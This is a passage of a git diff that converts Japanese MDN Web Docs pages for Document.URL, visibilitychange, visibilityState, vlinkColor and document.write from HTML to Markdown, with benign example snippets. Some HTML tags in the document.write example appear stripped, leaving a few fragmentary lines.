href="/ja/docs/Web/API/Touch_events">タッチイベント</a></li> - <li>{{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}</li> - <li>{{domxref("Element")}} を対象としたこのイベント: <code><a href="/ja/docs/Web/API/Element/touchstart_event">touchstart</a></code></li> -</ul> +- [タッチイベント](/ja/docs/Web/API/Touch_events) +- {{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}} +- {{domxref("Element")}} を対象としたこのイベント: [`touchstart`](/ja/docs/Web/API/Element/touchstart_event) diff --git a/files/ja/web/api/document/url/index.md b/files/ja/web/api/document/url/index.md index 9051c6018ca8d3..18f5c1fac9c3a1 100644 --- a/files/ja/web/api/document/url/index.md +++ b/files/ja/web/api/document/url/index.md @@ -2,66 +2,56 @@ title: Document.URL slug: Web/API/Document/URL tags: -- API -- DOM -- Document -- Property -- Reference -- プロパティ -- リファレンス + - API + - DOM + - Document + - Property + - Reference + - プロパティ + - リファレンス translation_of: Web/API/Document/URL --- -<div>{{APIRef("DOM")}}</div> +{{APIRef("DOM")}} -<p>{{domxref("Document")}} インターフェイスの <code><strong>URL</strong></code> プロパティは読取専用で、文書の位置を文字列で返します。</p> +{{domxref("Document")}} インターフェイスの **`URL`** プロパティは読取専用で、文書の位置を文字列で返します。 -<h2 id="Syntax">構文</h2> +## 構文 -<pre class="brush: js">const <em>url</em> = <em>document</em>.URL -</pre> +```js +const url = document.URL +``` -<h2 id="Example">例</h2> +## 例 -<h3 id="JavaScript">JavaScript</h3> +### JavaScript -<pre class="brush: js">document.getElementById("url").textContent = document.URL;</pre> +```js +document.getElementById("url").textContent = document.URL; +``` -<h3 id="HTML">HTML</h3> +### HTML -<pre class="brush: html"><p id="urlText"> - URL:<br/> - <span id="url">URL goes here</span> -</p></pre> +```html +<p id="urlText"> + URL:<br/> + <span id="url">URL goes here</span> +</p> +``` -<h3 id="Result">結果</h3> +### 結果 -<p>{{EmbedLiveSample("Example", "100%", 100)}}</p> +{{EmbedLiveSample("Example", "100%", 100)}} -<h2 id="Specifications">仕様書</h2> +## 仕様書 -<table class="standard-table"> - <thead> - <tr> - <th scope="col">仕様書</th> - <th scope="col">状態</th> - <th scope="col">備考</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}</td> - <td>{{Spec2("DOM WHATWG")}}</td> - <td>プロパティを {{domxref("DOMString")}} ではなく {{domxref("USVString")}} と定義</td> - </tr> - </tbody> -</table> +| 仕様書 | 状態 | 備考 | +| ------------------------------------------------------------------------------------ | -------------------------------- | ---------------------------------------------------------------------------------------------- | +| {{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}} | {{Spec2("DOM WHATWG")}} | プロパティを {{domxref("DOMString")}} ではなく {{domxref("USVString")}} と定義 | -<h2 id="Browser_compatibility"">ブラウザーの互換性</h2> +## ブラウザーの互換性 -<p>{{Compat("api.Document.URL")}}</p> +{{Compat("api.Document.URL")}} -<h2 id="See_also">関連情報</h2> +## 関連情報 -<ul> - <li>同じ値を返す {{domxref("document.documentURI")}} プロパティ</li> -</ul> +- 同じ値を返す {{domxref("document.documentURI")}} プロパティ diff --git a/files/ja/web/api/document/visibilitychange_event/index.md b/files/ja/web/api/document/visibilitychange_event/index.md index 9cbebfdd7f292b..e18306828035d1 100644 --- a/files/ja/web/api/document/visibilitychange_event/index.md +++ b/files/ja/web/api/document/visibilitychange_event/index.md @@ -11,74 +11,62 @@ tags: - visibilitychange translation_of: Web/API/Document/visibilitychange_event --- -<div>{{APIRef}}</div> +{{APIRef}} -<p><code>visibilitychange</code> イベントは、タブのコンテンツが表示状態または非表示状態になったときに document に発生します。</p> +`visibilitychange` イベントは、タブのコンテンツが表示状態または非表示状態になったときに document に発生します。 <table class="properties"> - <tbody> - <tr> - <th scope="row">バブリング</th> - <td>あり</td> - </tr> - <tr> - <th scope="row">キャンセル可能</th> - <td>いいえ</td> - </tr> - <tr> - <th scope="row">インターフェイス</th> - <td>{{domxref("Event")}}</td> - </tr> - <tr> - <th scope="row">イベントハンドラープロパティ</th> - <td>{{domxref("Document.onvisibilitychange", "onvisibilitychange")}}</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル可能</th> + <td>いいえ</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td> + {{domxref("Document.onvisibilitychange", "onvisibilitychange")}} + </td> + </tr> + </tbody> </table> -<h2 id="Usage_notes" name="Usage_notes">使用上の注意</h2> +## 使用上の注意 -<p>このイベントには、更新された文書の表示・非表示状態が含まれていませんが、この情報は document の {{domxref("Document.visibilityState", "visibilityState")}} プロパティから取得することができます。</p> +このイベントには、更新された文書の表示・非表示状態が含まれていませんが、この情報は document の {{domxref("Document.visibilityState", "visibilityState")}} プロパティから取得することができます。 -<h2 id="Examples" name="Examples">例</h2> +## 例 -<p>この例は、文書が表示状態になった時に音楽を再生し、文書が非表示になった時に音楽を停止します。</p> +この例は、文書が表示状態になった時に音楽を再生し、文書が非表示になった時に音楽を停止します。 -<pre class="brush:js notranslate">document.addEventListener("visibilitychange", function() { +```js +document.addEventListener("visibilitychange", function() { if (document.visibilityState === 'visible') { backgroundMusic.play(); } else { backgroundMusic.pause(); } }); -</pre> +``` -<h2 id="Specifications" name="Specifications">仕様書</h2> +## 仕様書 -<table class="standard-table"> - <thead> - <tr> - <th scope="col">仕様書</th> - <th scope="col">状態</th> - <th scope="col">備考</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}</td> - <td>{{Spec2('Page Visibility API')}}</td> - <td></td> - </tr> - </tbody> -</table> +| 仕様書 | 状態 | 備考 | +| ---------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---- | +| {{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}} | {{Spec2('Page Visibility API')}} | | -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> +## ブラウザーの互換性 -<p>{{Compat("api.Document.visibilitychange")}}</p> +{{Compat("api.Document.visibilitychange")}} -<h2 id="See_also" name="See_also">関連情報</h2> +## 関連情報 -<ul> - <li><a href="/ja/docs/DOM/Using_the_Page_Visibility_API">Page Visibility API の使用</a></li> - <li>{{domxref("Document.visibilityState")}}</li> -</ul> +- [Page Visibility API の使用](/ja/docs/DOM/Using_the_Page_Visibility_API) +- {{domxref("Document.visibilityState")}} diff --git a/files/ja/web/api/document/visibilitystate/index.md b/files/ja/web/api/document/visibilitystate/index.md index fdf4135082439c..d433060c8f441b 100644 --- a/files/ja/web/api/document/visibilitystate/index.md +++ b/files/ja/web/api/document/visibilitystate/index.md @@ -11,53 +11,42 @@ tags: - Web translation_of: Web/API/Document/visibilityState --- -<p>{{ ApiRef("DOM") }}</p> +{{ ApiRef("DOM") }} -<p><span class="seoSummary"><strong><code>Document.visibilityState</code></strong> 読み取り専用プロパティは、文書 ({{domxref('document')}}) の可視性、つまりこの要素が現在表示されているかのコンテキストを返します。 文書がバックグラウンドにあるのか、非表示のタブにあるのか、プリレンダリングのためにのみ読み込まれるのかを知ることは有用です。</span> 可能な値は次のとおりです。</p> +**`Document.visibilityState`** 読み取り専用プロパティは、文書 ({{domxref('document')}}) の可視性、つまりこの要素が現在表示されているかのコンテキストを返します。 文書がバックグラウンドにあるのか、非表示のタブにあるのか、プリレンダリングのためにのみ読み込まれるのかを知ることは有用です。 可能な値は次のとおりです。 -<dl> - <dt><code>visible</code></dt> - <dd>ページのコンテンツは、少なくとも部分的に表示される場合があります。実際には、これはページが最小化されていないウィンドウのフォアグラウンドタブであることを意味します。</dd> - <dt><code>hidden</code></dt> - <dd>ページのコンテンツはユーザーには表示されません。実際には、これは文書がバックグラウンドタブまたは最小化されたウィンドウの一部であるか、 OS の画面ロックがアクティブであることを意味します。</dd> - <dt><code>prerender</code> {{deprecated_inline}}</dt> - <dd>ページのコンテンツはプリレンダリングされており、ユーザーには表示されません (<code><a href="/ja/docs/Web/API/Document/hidden">document.hidden</a></code> の目的で非表示と見なされます)。 文書はこの状態で開始する場合がありますが、別の値から移行することはありません。 注: これは標準から削除されました。 詳細については、互換性の表を確認してください。</dd> -</dl> +- `visible` + - : ページのコンテンツは、少なくとも部分的に表示される場合があります。実際には、これはページが最小化されていないウィンドウのフォアグラウンドタブであることを意味します。 +- `hidden` + - : ページのコンテンツはユーザーには表示されません。実際には、これは文書がバックグラウンドタブまたは最小化されたウィンドウの一部であるか、 OS の画面ロックがアクティブであることを意味します。 +- `prerender` {{deprecated_inline}} + - : ページのコンテンツはプリレンダリングされており、ユーザーには表示されません ([`document.hidden`](/ja/docs/Web/API/Document/hidden) の目的で非表示と見なされます)。 文書はこの状態で開始する場合がありますが、別の値から移行することはありません。 注: これは標準から削除されました。 詳細については、互換性の表を確認してください。 -<p>このプロパティの値が変更されると、 {{domxref("Document/visibilitychange_event", "visibilitychange")}} イベントが {{domxref("Document")}} に送信されます。</p> +このプロパティの値が変更されると、 {{domxref("Document/visibilitychange_event", "visibilitychange")}} イベントが {{domxref("Document")}} に送信されます。 -<p>これの一般的な用途は、文書がプリレンダリングされている場合に一部のアセットのダウンロードを防止したり、文書がバックグラウンドにあるか最小化されている場合に一部のアクティビティを停止したりすることです。</p> +これの一般的な用途は、文書がプリレンダリングされている場合に一部のアセットのダウンロードを防止したり、文書がバックグラウンドにあるか最小化されている場合に一部のアクティビティを停止したりすることです。 -<h2 id="Syntax" name="Syntax">構文</h2> +## 構文 -<pre class="syntaxbox notranslate">var <var>string</var> = document.visibilityState</pre> +``` +var string = document.visibilityState +``` -<h2 id="Examples">Examples</h2> +## Examples -<pre class="brush:js; line-numbers language-js notranslate">document.addEventListener("visibilitychange", function() { +```js +document.addEventListener("visibilitychange", function() { console.log( document.visibilityState ); // 振る舞いを変更します... -})</pre> - -<h2 id="Specifications" name="Specifications">仕様書</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">仕様書</th> - <th scope="col">状態</th> - <th scope="col">備考</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('Page Visibility API','#visibility-states-and-the-visibilitystate-enum', 'Document.visibilityState')}}</td> - <td>{{Spec2('Page Visibility API')}}</td> - <td>初回定義</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> - -<p>{{Compat("api.Document.visibilityState")}}</p> +}) +``` + +## 仕様書 + +| 仕様書 | 状態 | 備考 | +| -------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | -------- | +| {{SpecName('Page Visibility API','#visibility-states-and-the-visibilitystate-enum', 'Document.visibilityState')}} | {{Spec2('Page Visibility API')}} | 初回定義 | + +## ブラウザーの互換性 + +{{Compat("api.Document.visibilityState")}} diff --git a/files/ja/web/api/document/vlinkcolor/index.md b/files/ja/web/api/document/vlinkcolor/index.md index 12686ce4d2b666..653b687a8867fb 100644 --- a/files/ja/web/api/document/vlinkcolor/index.md +++ b/files/ja/web/api/document/vlinkcolor/index.md @@ -12,34 +12,29 @@ tags: - 非推奨 translation_of: Web/API/Document/vlinkColor --- -<div>{{APIRef("DOM")}} {{ Deprecated_header() }}</div> +{{APIRef("DOM")}} {{ Deprecated_header() }} -<p><code><strong>Document.vlinkColor</strong></code> プロパティは、文書内のユーザーが訪問済みのリンクの色を取得または設定します。</p> +**`Document.vlinkColor`** プロパティは、文書内のユーザーが訪問済みのリンクの色を取得または設定します。 -<h2 id="Syntax" name="Syntax">構文</h2> +## 構文 -<pre class="syntaxbox"><var>color</var> = <var>document</var>.vlinkColor -<var>document</var>.vlinkColor = <var>color</var> -</pre> +``` +color = document.vlinkColor +document.vlinkColor = color +``` -<h3 id="Parameters" name="Parameters">引数</h3> +### 引数 -<ul> - <li><code>color</code> は、色を表す単語 (<code>red</code> など) または16進値 (<code>#ff0000</code> など) の文字列です。</li> -</ul> +- `color` は、色を表す単語 (`red` など) または 16 進値 (`#ff0000` など) の文字列です。 -<h2 id="Notes" name="Notes">メモ</h2> +## メモ -<ul> - <li>Mozilla Firefox ではこのプロパティの初期値は紫 (16進で <code>#551a8b</code>) です。 +- Mozilla Firefox ではこのプロパティの初期値は紫 (16 進で `#551a8b`) です。 - <p> </p> - </li> - <li><code>Document.vlinkColor</code> は <a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML では非推奨です</a>。</li> - <li>推奨される代替方法は、 HTML の {{HtmlElement("a")}} 要素において CSS で {{ Cssxref(":visited") }} 擬似クラスの色を設定または取得する方法です (例えば <code>a:visited {color:red;}</code>)。</li> - <li>他の代替方法に <code>document.body.vLink</code> がありますが、これは <a href="http://www.w3.org/TR/html401/struct/global.html#adef-vlink">HTML 4.01 で非推奨</a>となり、 CSS で代替されました。</li> -</ul> +- `Document.vlinkColor` は [DOM Level 2 HTML では非推奨です](http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268)。 +- 推奨される代替方法は、 HTML の {{HtmlElement("a")}} 要素において CSS で {{ Cssxref(":visited") }} 擬似クラスの色を設定または取得する方法です (例えば `a:visited {color:red;}`)。 +- 他の代替方法に `document.body.vLink` がありますが、これは [HTML 4.01 で非推奨](http://www.w3.org/TR/html401/struct/global.html#adef-vlink)となり、 CSS で代替されました。 -<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> +## ブラウザーの対応 -<p>{{Compat("api.Document.vlinkColor")}}</p> +{{Compat("api.Document.vlinkColor")}} diff --git a/files/ja/web/api/document/write/index.md b/files/ja/web/api/document/write/index.md index 0037884ad1f097..e2019871026167 100644 --- a/files/ja/web/api/document/write/index.md +++ b/files/ja/web/api/document/write/index.md @@ -10,101 +10,83 @@ tags: - write translation_of: Web/API/Document/write --- -<div>{{ApiRef("DOM")}}</div> +{{ApiRef("DOM")}} -<p><strong><code>Document.write()</code></strong> メソッドは、テキストの文字列を {{domxref("document.open()")}} で開かれた文書ストリームに書き込みます。</p> +**`Document.write()`** メソッドは、テキストの文字列を {{domxref("document.open()")}} で開かれた文書ストリームに書き込みます。 -<div class="note">注: <code>document.write()</code> は文書の<strong>ストリーム</strong>に書き込みを行うため、閉じられた (読み込み済みの) 文書で <code>document.write()</code> を呼び出すと、自動的に <code>document.open()</code> が呼び出され、<a href="/ja/docs/Web/API/document.open#Notes">文書はクリアされます</a>。</div> +> **Note:** 注: `document.write()` は文書の**ストリーム**に書き込みを行うため、閉じられた (読み込み済みの) 文書で `document.write()` を呼び出すと、自動的に `document.open()` が呼び出され、[文書はクリアされます](/ja/docs/Web/API/document.open#Notes)。 -<h2 id="Syntax" name="Syntax">構文</h2> +## 構文 -<pre class="brush: js notranslate"><var>document</var>.write(<var>markup</var>); -</pre> +```js +document.write(markup); +``` -<h3 id="Parameters" name="Parameters">引数</h3> +### 引数 -<dl> - <dt><var>markup</var></dt> - <dd>文書に書き込まれるテキストを含む文字列です。</dd> -</dl> +- _markup_ + - : 文書に書き込まれるテキストを含む文字列です。 -<h3 id="Example" name="Example">例</h3> +### 例 -<pre class="brush: html notranslate"><html> +```html +<html> -<head> - <title>書き込み例</title> +<head> + <title>書き込み例 - <script> + + -<body onload="newContent();"> - <p>元の文書コンテンツ。</p> -</body> + +

元の文書コンテンツ。

+ -</html> -
+ +``` -

{{EmbedLiveSample("Syntax")}}

+{{EmbedLiveSample("Syntax")}} -

+## 注 -

出力したテキストは文書構造モデルにおいて構文解析されます。上記の例では、 h1 要素は文書中の一つのノードになります。

+出力したテキストは文書構造モデルにおいて構文解析されます。上記の例では、 `h1` 要素は文書中の一つのノードになります。 -

{{domxref("document.open()")}} を呼び出さずに読み込まれた文書へ書き込みを行うと、自動的に document.open() の呼び出しが実行されます。一度出力し終わったとき、ブラウザーにページの読み込みの終了を伝えるために、 {{domxref("document.close()")}} を呼び出すことが推奨されます。

+{{domxref("document.open()")}} を呼び出さずに読み込まれた文書へ書き込みを行うと、自動的に `document.open()` の呼び出しが実行されます。一度出力し終わったとき、ブラウザーにページの読み込みの終了を伝えるために、 {{domxref("document.close()")}} を呼び出すことが推奨されます。 -

document.write() の呼び出しがインラインの HTML の <script> タグ内で行われた場合、 document.open() は呼び出されません。次に例を示します。

+`document.write()` の呼び出しがインラインの HTML の ` +``` -
: document.write() および {{domxref("document.writeln")}} は、 XHTML 文書では動作しません (エラーコンソールに "Operation is not supported" [NS_ERROR_DOM_NOT_SUPPORTED_ERR] エラーが表示されます)。これは、 .xhtml の拡張子を持つローカルファイルを開いたり、何らかの文書が application/xhtml+xml の {{Glossary("MIME type", "MIME タイプ")}}で提供されたときに発生します。詳細は W3C XHTML FAQ で確認することができます。
+> **Note:** **注**: `document.write()` および {{domxref("document.writeln")}} は、 [XHTML 文書では動作しません](/ja/docs/Archive/Web/Writing_JavaScript_for_HTML) (エラーコンソールに "Operation is not supported" \[`NS_ERROR_DOM_NOT_SUPPORTED_ERR`] エラーが表示されます)。これは、 .xhtml の拡張子を持つローカルファイルを開いたり、何らかの文書が `application/xhtml+xml` の {{Glossary("MIME type", "MIME タイプ")}}で提供されたときに発生します。詳細は [W3C XHTML FAQ](http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite) で確認することができます。 -
: document.writedeferred または asynchronous のスクリプト内では無視され、エラーコンソールに "A call to document.write() from an asynchronously-loaded external script was ignored" などのメッセージが表示されます。
+> **Note:** **注**: `document.write` は [deferred](/ja/docs/Web/HTML/Element/script#attr-defer) または [asynchronous](/ja/docs/Web/HTML/Element/script#attr-async) のスクリプト内では無視され、エラーコンソールに "A call to `document.write()` from an asynchronously-loaded external script was ignored" などのメッセージが表示されます。 -
: Edge のみ、document.write() を {{HTMLElement("iframe")}} 内で複数回呼び出すと、 SCRIPT70: Permission denied エラーが発生します。
+> **Note:** **注**: Edge のみ、`document.write()` を {{HTMLElement("iframe")}} 内で複数回呼び出すと、 SCRIPT70: Permission denied エラーが発生します。 -
: Chrome 55 からは、キャッシュされていない HTTP の場合、document.write() を通じて挿入された <script> 要素は実行されなくなります。これが成立するのに必要な条件の一覧については、document.write() に対する介入をご覧ください。
+> **Note:** **注**: Chrome 55 からは、キャッシュされていない HTTP の場合、`document.write()` を通じて挿入された ` ``` -> **Note:** **注**: `document.write()` および {{domxref("document.writeln")}} は、 [XHTML 文書では動作しません](/ja/docs/Archive/Web/Writing_JavaScript_for_HTML) (エラーコンソールに "Operation is not supported" \[`NS_ERROR_DOM_NOT_SUPPORTED_ERR`] エラーが表示されます)。これは、 .xhtml の拡張子を持つローカルファイルを開いたり、何らかの文書が `application/xhtml+xml` の {{Glossary("MIME type", "MIME タイプ")}}で提供されたときに発生します。詳細は [W3C XHTML FAQ](http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite) で確認することができます。 +> **Note:** `document.write()` および {{domxref("document.writeln")}} は、 [XHTML 文書では動作しません](/ja/docs/Archive/Web/Writing_JavaScript_for_HTML) (エラーコンソールに "Operation is not supported" \[`NS_ERROR_DOM_NOT_SUPPORTED_ERR`] エラーが表示されます)。これは、 .xhtml の拡張子を持つローカルファイルを開いたり、何らかの文書が `application/xhtml+xml` の {{Glossary("MIME type", "MIME タイプ")}}で提供されたときに発生します。詳細は [W3C XHTML FAQ](http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite) で確認することができます。 -> **Note:** **注**: `document.write` は [deferred](/ja/docs/Web/HTML/Element/script#attr-defer) または [asynchronous](/ja/docs/Web/HTML/Element/script#attr-async) のスクリプト内では無視され、エラーコンソールに "A call to `document.write()` from an asynchronously-loaded external script was ignored" などのメッセージが表示されます。 +> **Note:** `document.write` は [deferred](/ja/docs/Web/HTML/Element/script#attr-defer) または [asynchronous](/ja/docs/Web/HTML/Element/script#attr-async) のスクリプト内では無視され、エラーコンソールに "A call to `document.write()` from an asynchronously-loaded external script was ignored" などのメッセージが表示されます。 -> **Note:** **注**: Edge のみ、`document.write()` を {{HTMLElement("iframe")}} 内で複数回呼び出すと、 SCRIPT70: Permission denied エラーが発生します。 +> **Note:** Edge のみ、`document.write()` を {{HTMLElement("iframe")}} 内で複数回呼び出すと、 SCRIPT70: Permission denied エラーが発生します。 -> **Note:** **注**: Chrome 55 からは、キャッシュされていない HTTP の場合、`document.write()` を通じて挿入された `